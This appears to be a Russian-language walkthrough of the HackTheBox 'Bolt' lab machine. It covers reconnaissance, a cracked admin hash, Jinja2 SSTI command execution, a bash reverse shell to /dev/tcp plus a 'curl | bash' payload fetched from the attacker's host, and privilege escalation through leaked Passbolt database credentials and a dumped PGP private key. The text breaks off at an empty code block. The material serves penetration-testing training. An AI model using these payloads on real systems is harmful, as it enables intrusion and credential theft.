> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md).

# Разбор HackTheBox Bolt

Разбор Medium Linux-машины HackTheBox Bolt, охватывающий утечку информации, перечисление поддоменов, SSTI (Server Side Template Injection), злоупотребление PassBolt, с практическим перечислением, эксплуатацией, первыми

{% embed url="<https://app.hackthebox.com/machines/384>" %}

{% hint style="warning" %}
**Навыки:**

* Утечка информации
* Перечисление поддоменов
* SSTI (инъекция шаблонов на стороне сервера)
* Злоупотребление PassBolt
* Злоупотребление GPG
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe249ba0cc11bd5665b5e7238311ab1e717cd817%2Fimage%20(1050).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения к VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adc4ba3ff10da280acc094cc028fa131c275edca%2F%7BC1BA7573-926A-4AA9-90A2-B71045A78A99%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc5c7bb56d8092233683cf3f26f34fde7b954786%2F%7B67BAA2AB-0A85-4D52-9FD8-B1B5E71D0A41%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (22,80,443)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c388f4c7dddc4795a4d4c58c26bfa55055328275%2F%7B874105A4-F7EA-4469-BF1E-525CDC7782AA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:**

Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80,443 10.10.11.114 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97619423658e04dc30e488d2f2b536d97dfa247a%2F%7B8DDEA6FA-DF23-494B-9ABF-CB35CDC63A3D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вставляем доменное имя, связанное с его IP-адресом, в `/etc/hosts` файле.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-690436a839186bd305b4dc60408adcee8033b4f9%2F%7B68881ED4-2E7B-4B79-B6F2-CAC954D71F38%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Порт 80

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f92441cd74194252076962dc12af51fd81873a0%2F%7B50AE69EF-FD85-4FD5-9D0B-10E4A2142367%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Мы пытаемся создать учётную запись, но получаем сообщение «Internal Server Error».

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6a4a4ceeb03af6fd186c558fe00a1500700823d%2F%7B3799CB8F-DE0C-426E-865A-D51219116F3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e22dc57e5442e9e9001db61f5a69bea268d08bf%2F%7BE2B09E0B-96B5-46B9-98E8-1AC3DC6D63B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Список возможных пользователей:**

* Joseph Garth
* Bonnie Green
* Jose Leos

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efc9565a8a4d8b829eff65803b1a8777b58ab32c%2F%7B6B314CCA-9DBA-4C1B-A7E3-4CDA066E09D1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Нам предлагают скачать `.tar` образ Docker, включающий базовый веб-пакет для начала проекта с элегантным дизайном.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eda8ce09255dbdb09c9574a3dd185395163a22db%2Fimage%20(1051).png?alt=media" alt=""><figcaption></figcaption></figure>

**Поиск каталогов:**

Мы выполняем поиск каталогов с помощью `gobuster`:

```bash
gobuster dir -u http://bolt.htb  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Ничего интересного найдено не было.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e35e4261f8155ea9dec1ff65246cd07ddc5f628%2F%7B4EAD33E8-B3E6-463C-983B-A7E89574053F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Поиск поддоменов:**

Мы ищем поддомены с помощью `gobuster`:

```bash
gobuster vhost -u http://bolt.htb  --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Найденные поддомены:

* `demo.bolt.htb`
* `mail.bolt.htb`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e54709ca177ee422855cf85431cc6c31bab613a2%2F%7B3AE9A9D2-35A7-40E8-B415-A9B8402CA89E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Мы добавляем их в `/etc/hosts` файле.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8230a35c95f854ccd1c1d77fdc34b93f5dd625%2F%7B66F3CE95-B6EE-48F6-B4AE-257B125321FD%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://mail.blolt.htb`**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec637f98eee51274eab5afa50fcff4c4dc0c0bc3%2F%7BF7563CE3-396A-4658-8B61-903615C4F50D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://demo.bolt.htb:`**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3d49e577307dd356dc6c64d77f7f0964ee3513%2F%7B6224C840-7C32-4A60-A8F6-9877A6DFE8A0%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Утечка информации (image.tar)

Мы ищем конфиденциальную информацию в Docker-файле `.tar` который содержит папки с файлом `json`, файлом `layer.tar` и версией.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4331a75f7e7ea79fa3e6f53145796218ccb55c9d%2F%7B960D138D-0A1E-4FDC-A952-392D816CC386%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Извлечение файлов:**

Мы извлекаем файлы из `layer.tar` следующим образом:

```bash
mkdir extracted_layers
```

```bash
find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /;
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7373bb528376766453bc1b265bbc3fff5299815%2F%7BAA747C6A-4D75-4795-B0EC-A5F5247ED17B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Мы открываем `db.sqlite3` базу данных:

```sql
sqlite3 db.sqlite3 

.tables
Select * from user
```

Мы находим пользователя `admin` с хэшированным паролем:

* `id`: Уникальный идентификатор пользователя.
* `имя пользователя`: Имя пользователя (`admin` в данном случае).
* `электронная почта`: Связанный адрес электронной почты (`admin@bolt.htb`).
* `пароль`: Хэшированный пароль (`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d73a022ce616865964bfbe3f9c46323dbe285544%2F%7B929F3FE9-ADBB-470E-9816-CA2C70AD8C6E%7D.png?alt=media" alt="" width="468"><figcaption></figcaption></figure>

Мы расшифровываем пароль с помощью `john`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:deadbolt`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67bfe9043ca73f3de587dd3f9c74ba0c69155b79%2F%7B9FABE644-09A6-4379-949C-22C7F59CAAAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Мы заходим в панель администратора, но не находим ничего интересного, кроме того, что она использует Flask.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-892e202fff2c026a015f293076938aad343788d7%2Fimage%20(1052).png?alt=media" alt=""><figcaption></figcaption></figure>

**Поиск кода приглашения:**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33c61cc8ce7dacd1e959295021caf81cf9289f77%2F%7BD735E385-B367-4CD9-9657-93078B3FDEDE%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>

Мы ищем код приглашения в извлечённых файлах:

```bash
grep -ri "invite_code" .
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4c3d47250bcb850bcbf74c6b6f83d2faea667e6%2Fimage%20(1054).png?alt=media" alt=""><figcaption></figcaption></figure>

Файл Python содержит код приглашения:

`XNSS-HSJW-3NGU-8XTJ`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de694666c1e52851dbebdb9770946a4961e5d2c2%2Fimage%20(1055).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы создаём новую учётную запись пользователя `jordan` с паролем `Jordan1234`, после чего получаем доступ к почтовому ящику и демо-панели администратора.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e83ee01a2b924c9118b5424bf2d1e1c3a0b15a9d%2F%7BFE85444A-FC13-4D30-A12E-298927179A9C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* `пользователь: jordan`
* `пароль: Jordan1234`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6442c9d77ac0f4bb62e96f48eef5fc18bbdbf481%2F%7B9CE4F043-5290-4B84-A790-078DE32531FC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f69a78e260957651de9ddf92a6ccba476ab923ad%2F%7B84799957-5B78-48DB-980D-89B8EBE1E8DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Уязвимость SSTI:

Изучая конфигурацию, мы замечаем, что если изменить имя конфигурации, отправляется подтверждающее письмо. Это может быть возможностью для атаки SSTI.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6e03ce0a33faa89d0006a8c8d646aa01d7e41fc%2F%7B2BB8282B-D96C-477A-94AA-F84F42D9E87A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eda93eb7ba655d7c8c6abc2bf1e225b49e70de4f%2Fimage%20(1056).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы тестируем с типичной нагрузкой:

```bash
{{ 9*9 }}
```

Если результат `81`, приложение уязвимо.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8704ccedeff27f3fdf4708cff34029665845b3b2%2F%7B4D64E440-FB15-432F-9398-64C20AE06B77%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Мы подтверждаем, что приложение уязвимо, и тестируем внедрение команд с помощью полезной нагрузки из `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

ID заказа:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a6ca30b657e199baf891e24b5a4173b8b7d1887%2F%7B51A5257C-4305-4C9B-A545-1E23210599D1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Мы успешно получаем обратную оболочку, прослушивая порт 443:

```bash
nc -nlvp 443
```

Мы создаём `index.html` файл со следующим содержимым для запуска обратной оболочки

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Затем мы запускаем HTTP-сервер с Python:

```bash
python3 -m http.server 80
```

Мы отправляем полезную нагрузку с помощью `curl` чтобы получить и выполнить команду:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-348fcc2d92e9dc0fe73d1e954a5d357577c441a0%2F%7BF035C0DC-C166-405E-852C-744974C4FCE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Стабилизация терминала:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Стабилизируйте shell для более комфортной работы. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Повышение привилегий :

В качестве пользователя `www-data`, мы пытаемся повысить наши привилегии, чтобы получить root-доступ.

### Начальная перечисление с LinPEAS

Вы использовали LinPEAS для выявления потенциальных уязвимостей в системе.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases>" %}

Выполненные команды:

```bash
python3 -m http.server 555
```

```bash
wget http://10.10.14.3:555/linpeas.sh
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-874b84b528c30a13d3fe1b6646b1f7546b2ecbb9%2F%7B09D2CED3-7126-42F8-83CD-00331446F53B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

LinPEAS выявил конфигурационный файл, содержащий конфиденциальную информацию:

`/etc/passbolt/passbolt.php`

* `хост :localhost`
* `порт : 3306`
* `имя пользователя : passbolt`
* `пароль : rT2;jW7<eY8!dX8}pQ8%`
* `база данных : passboltdb`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6efe3d48794c98f4980b805eb081efc94657b1%2F%7B9A160287-A046-4CAC-BC10-46539ED7A545%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Подключение к базе данных MySQL**

Используем информацию для подключения к базе данных:

```bash
mysql -h localhost -P 3306 -u passbolt -p 

rT2;jW7<eY8!dX8}pQ8%
```

#### **Анализ таблиц в базе данных**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dedad8129f18f4baeeee68e73bb041a2eb257846%2F%7B3857F5A8-3EE6-4379-ABBF-71D844134919%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **`users`**: Содержит пользователей.

<table data-header-hidden data-full-width="true"><thead><tr><th width="125"></th><th width="112"></th><th width="124"></th><th width="101"></th><th width="109"></th><th width="110"></th><th></th></tr></thead><tbody><tr><td><code>id</code></td><td><code>role_id</code></td><td><code>имя пользователя</code></td><td><code>active</code></td><td><code>deleted</code></td><td><code>created</code></td><td><code>modified</code></td></tr><tr><td><code>4e184ee6-e436-47fb-91c9-dccb57f250bc</code></td><td><code>1cfcd300-0664-407e-85e6-c11664a7d86c</code></td><td><code>eddie@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:42:50</td><td>2021-02-25 21:55:06</td></tr><tr><td><code>9d8a0452-53dc-4640-b3a7-9a3d86b0ff90</code></td><td><code>975b9a56-b1b1-453c-9362-c238a85dad76</code></td><td><code>clark@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:40:29</td><td>2021-02-25 21:42:32</td></tr></tbody></table>

* **`secrets`**: Зашифрованные сообщения (возможно, пригодятся позже для эксплуатации).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ef081da69eeac0a0c4faeffd0704a1a48420a70%2F%7B34BBF05A-358F-41A2-B12C-162ED65D1EC6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **`gpgkeys`**: Содержит открытые ключи (может использоваться в определённых сценариях).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c356cefb56838975f64e29e5c7868668eb450727%2Fimage%20(2476).png?alt=media" alt=""><figcaption></figcaption></figure>

Попытка подключиться как `eddie`:

```bash
su eddie
```

* **Пароль**: `rT2;jW7<eY8!dX8}pQ8%`
* Доступ к пользователю `eddie` получен

### Флаг user.txt :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be3961aabe8bcb7a0f79ba02c82374e35f3fb255%2F%7BDCA41730-F360-4E3F-BA61-5763E9B3DD00%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Повторное использование LinPEAS (пользователь eddie)

После получения доступа к пользователю `eddie`, мы повторно используем **LinPEAS** для исследования системы на предмет возможных SSH-ключей или других полезных подсказок.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f75cc49c7f3779135b9cad3eceb4e76e9c1f06c%2F%7B5DA3297E-E8D9-46D7-BC17-42937D5CA190%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Файл найден**: Файл журнала, содержащий возможные SSH-ключи:

`/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8cf1911f48bdf185540a998741bb526a6203850%2Fimage%20(2477).png?alt=media" alt=""><figcaption></figcaption></figure>

### Расшифровка сообщения с помощью GPG

**Приватный ключ GPG**: Мы используем **GPG** инструмент для импорта приватного ключа и попытки расшифровать зашифрованное сообщение в `secrets` таблице в `passboltdb` базы данных.

```
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
```

#### Извлечение хэша приватного ключа

Чтобы иметь возможность использовать закрытый ключ, сначала мы должны получить его **хэш**. Мы используем **gpg2john** инструмент для извлечения хэша приватного ключа:

```bash
gpg2john private.key > hash
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-846e8b1830c63f80f1fcdc915668e4cf47064213%2F%7BCE528E3F-E6E1-4DE6-94D9-8329FED9A827%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Подбор пароля закрытого ключа с помощью `john`**

Мы используем **John the Ripper** для выполнения словарной атаки и определения пароля приватного ключа. Мы используем для этого список слов **rockyou.txt** :

```bash
